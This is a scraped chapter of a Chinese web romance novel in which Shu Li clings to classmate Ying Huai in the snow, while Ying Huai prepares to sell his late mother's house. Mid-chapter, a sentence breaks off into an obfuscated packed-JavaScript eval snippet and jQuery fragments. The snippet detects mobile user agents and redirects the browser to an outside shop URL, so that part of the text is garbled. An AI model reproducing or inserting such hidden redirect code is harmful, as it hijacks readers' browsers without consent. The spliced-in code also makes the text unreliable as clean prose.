9. 第 9 章

作品:《小作精

    陈屹朗上下扫视她的穿搭,大衣里面是针织裙,露出一小截白皙的小腿,已经被冻得苍白发青:“冻死了吧。你不是喜欢出片吗,我好心帮你拍几张。”


    舒里不和他继续争论,直接走到他车旁打开门坐了进去。


    车子里暖气开得很足,舒里一下子活过来了。


    陈屹朗跟着上车:“我让你上来了吗?这是我的车。”


    舒里掏出手机,手指僵直,还有些颤颤巍巍地发抖:“你等着,我现在找律师告你侵犯肖像权。”


    陈屹朗手指在方向盘上敲击两下:“舒里,你忘记我学的什么专业了吧,我就是律师。我只拍摄不公开发表,你告什么?”


    舒里转头瞪他:“不公开发表那你要私人欣赏啊?”


    陈屹朗:“不行吗?”


    舒里大声:“不行!”


    舒里手指活络开了,她打开相机镜头,对着陈屹朗从下往上拍,又开了广角,把他原本立体英俊的五官拍得像个五边形。


    陈屹朗靠在驾驶座上并不阻拦,甚至还配合地比了个耶。


    舒里伸手用力地把他的“耶”拍掉:“丑死了。”


    陈屹朗捂住手,舒里用足了力气,他手上开始变红:“你以后是不是还会家暴?”


    舒里阴阳怪气:“怎么了,你还要替我未来老公报警?”


    陈屹朗:“那肯定的,维护社会安定是我作为律师的职责。”


    舒里确实忘记了陈屹朗在学法律,她之前删掉了陈屹朗的微信,两个人又不在一个大学,物理隔绝了他的消息。


    不过他这种阴险的人确实很适合当律师。


    舒里坚决不下车,等拖车到了后强迫陈屹朗送她去学校。


    早上的课是赶不上了,她拍了照片跟老师请假。


    陈屹朗听到她打完请假的电话:“你现在住哪儿?我送你过去?”


    舒里:“说了去学校。”


    陈屹朗开启导航:“你不是都请假了吗?”


    舒里低头给舒岳西发微信:“我下午还有课呢。”


    陈屹朗说:“我帮你了这么大个忙,不请我吃顿饭?”


    舒里放下手机,转头看他:“陈屹朗,你脑袋被门夹了?我们两个约饭?”


    舒里指了指他又指了指自己:“你没搞错吧?”


    她双手环胸:“两年前我升学宴你都借口没来,在这儿装什么呢。我坐你的车你等会儿回去都得彻底把座椅清洗一遍吧。”


    陈屹朗挑眉:“没你说得那么夸张。”


    舒里:“把我在校门口放下来就行了,别假惺惺了。”


    舒里住得离学校本来就不远,车坏在半道上,陈屹朗开了几分钟就到了。


    他远远地看到校门:“这么点路你走一会儿就到了吧,我不送你你就在那儿干站着?”


    舒里动作幅度很大地解开安全带,把大衣摞紧:“我在等救援车!我是蠢的吗不会打车?”


    砰一声舒里把车门摔上,头也不回地走了。


    陈屹朗看着她离开的背影,有些无奈,最后发动汽车离开。


    申大校园很大,从大门口走到教学楼区域要30分钟,校园内有付费的接驳车辆,只接待校内学生,所以需要刷校园卡。


    舒里跟着人群在站台上排队,一边瑟瑟发抖地摩挲上下口袋,一边呵气,然后才想起来校园卡被她放在车上,被救援车拉走了。


    舒里恼怒地跺脚,头发、肩膀上的雪花扑簌簌地往下掉。


    一把伞撑了过来,舒里回头,是一个陌生清秀的男生站在她身后。


    他看清舒里的正脸,有些微微脸红:“同学,我撑你一截。”


    舒里冷着脸点了点头,就转过了身。


    因为下雪了,又是下课高峰期,等车的人特别多,前面队伍一直蜿蜒曲折不尽,眼见着一辆车来了,舒里摆着手指数人数,发现自己坐不上,十分不耐烦地左顾右盼,然后就看到了排在前排撑着伞的应淮。


    她眼前一亮。


    一下子跑出了队伍,也不管后面男生拿着正要递出去的微信好友二维码。


    舒里握住应淮的胳膊,钻到应淮的伞下面,整个人都贴住他。


    应淮穿着长款的棉服,非常厚实暖和,他整个人都冒着热气,舒里感受到温暖。


    应淮猛地皱眉,挥动胳膊想把她推开,谁知舒里牢牢贴着他,冰凉的手扣住他的手腕:“我要冻死了,你让我蹭一下位置呗。”


    舒里说得理所应当,也不管后排的人对于她插队行为发出的小声议论和不满。


    应淮被她像冰一样的手冻得颤动了一下:“你就穿这么点出门?”


    舒里点点头,企图钻到他的羽绒服里:“无语死了都3月份了还降温,什么破天气。”


    应淮继续把她推开:“你出门不看天气预报?”


    舒里抱怨:“你怎么和我爸一样啰嗦。”


    她仰起头,展示了一下自己修长的腿:“这样穿好看,懂不懂?再说了要不是我的车半路抛锚了,我才不用在室外受冻。”


    应淮看了一眼,不予置评。


    那辆新来的接驳车停下开始上人,队伍迅速地往前移动,舒里整个人抱着他的胳膊,应淮拉不下脸当着这么多人的面把她推到地上,只能被迫被她缠着往前走。


    排队轮到他们的时候司机瞥了一眼,显然对这对格外亲密的“情侣”另眼相看。


    舒里有些轻微发抖:“帮我刷一下,我没带卡。”


    接驳车冬天的时候被好心的司机用塑料薄膜封住了两边风口,舒里和应淮挤在里面的位置,稍稍缓了口气:“冻死我了。”


    她把双手伸进应淮的口袋里取暖,然后被应淮强硬地拉出来:“我和你很熟吗?”


    舒里恶狠狠道:“我给钱,我出200买你两个口袋的使用权。”


    应淮松手,舒里嗖一声把手伸了进去,两条光裸的小腿也紧紧贴住应淮的腿,然后用他的长羽绒服叠加大衣盖住。


    应淮试图撞开,最后失败。


    舒里和他靠得很近:“你到哪儿?”


    应淮扭头看着外面:“食堂。”


    舒里说话都打哆嗦:“我不想吃食堂。”


    应淮冷笑,想到那天校外咖啡馆里被她嫌弃的咖啡:“那你去学校外面吃啊。”


    舒里愤恨地伸出两根手指捏他的胳膊,只捏起一层薄薄的棉服外表层:“那我跟你一起。”


    应淮:“随便你,食堂是公共场所,你想去没人拦着。”


    舒里不再向他发难,塑料薄膜不严实,漏风,她又往应淮身上贴了贴,用他来挡风。


    车子开了几站,到男生宿舍旁边的食堂停下。


    两个人一下车,舒里又钻进了应淮的伞里,边走边挤着他


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16992562|193784||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    所幸食堂开了暖气,一进门她就抽出了插在应淮口袋里的手。


    这个食堂离男生宿舍最近,比较小,菜品种类也少,里面来来往往的都是男的,让人有点不自在。


    应淮没管她,去拿盘子的地方排队,舒里立马跟上他:“我没带校园卡,你得带着我帮我付钱。”


    应淮拒绝:“不行。”


    舒里睁大眼睛:“为什么?”


    应淮指了指窗口贴的二维码:“可以扫码支付。”


    舒里哦了一声,拿出手机,手机已经在低温下冻得自动关机了,现在才慢慢活过来,她想起刚才的承诺,给应淮转了200块钱。


    舒里跟着应淮打菜,他打什么她就打什么,最后端着一份只要4.5块钱的饭菜坐下来。


    这是她在舒岳西发达后吃得最便宜的一顿饭了。


    舒里拿起筷子看着盘子里的一份炒白菜和一份茄子,还有一份免费的汤感叹:“好划算啊。”


    应淮已经不想问她是不是从没来过食堂这种话了,沉默地吃饭。


    舒里挑着蔬菜吃了两块,不算好吃,但是也能吃得下,起码是热乎的。她被冻得已经没心思去挑剔。


    手机终于开机成功,舒里连了充电宝,噼里啪啦给方也发消息,让她给自己带件外套,等会儿开车来接她。


    应淮接到了中介打来的电话,约他上门拍摄房子的3D全屋视频,他往后推迟了几天,留出时间先整理打扫屋子。


    舒里看他开始收拾东西:“你去哪儿?”


    应淮抬眼看她,然后背上书包,没有回答,或者说用沉默回答了:关她什么事。


    舒里觉得应淮真是油盐不进,她刚才一路缠着应淮,一方面是出于确实很冷,另一方面也是故意想要和他亲近,拉近距离,没想到一点用都没有。


    舒里看着应淮头也不回的背影不满地戳了戳米饭。


    应淮下午回到老房子打扫卫生,城中村的破旧老小区,墙面发黑,每栋之间只有狭窄的缝隙,即使是在晴天依旧一片浓黑,穿过的时候像是随时会有一双手伸出来将你拖入深渊。


    他推开门,日光洒不进屋子,灰尘在空中飘浮,刺鼻的酒味扑面而来,墙角都是空掉的酒瓶子。


    应淮面无表情地用脚扫开,到应玉文的房间里翻找出房产证。


    他准备把房子卖了,这是最后筹钱的办法。


    他没办法在短时间内拿出更多的钱了,舒里那单只是走运的意外之财,生活不会有更多的幸运。


    临走前,应淮收拾了下家里的东西,收拾到一半突然坐下,看着应玉文的那堆东西沉默下来,应玉文在这个世界上没有了亲人、没有了朋友,现在只有这堆垃圾证明母亲的存在了。


    方也开车过来接舒里去上课,下午是专业课,连上四节,晚上她还和应淮约了课。


    方也借了车上的一件貂毛短外套给她,舒里有点嫌弃丑于是没要,下课直接跑进了图书馆。


    应淮提前在手机上预约了自习室,舒里输入学生姓名学号进门,发现房间是空的,应淮竟然还没到。


    舒里露出笑容,过了会儿她坐在主位上跷着二郎腿,白色皮靴的跟在瓷砖上轻点,好整以暇地看着应淮推门而入。


    舒里抬手看表,精确到秒:“你迟到了3分23秒。”


    她得意地笑,表情鲜活漂亮极了。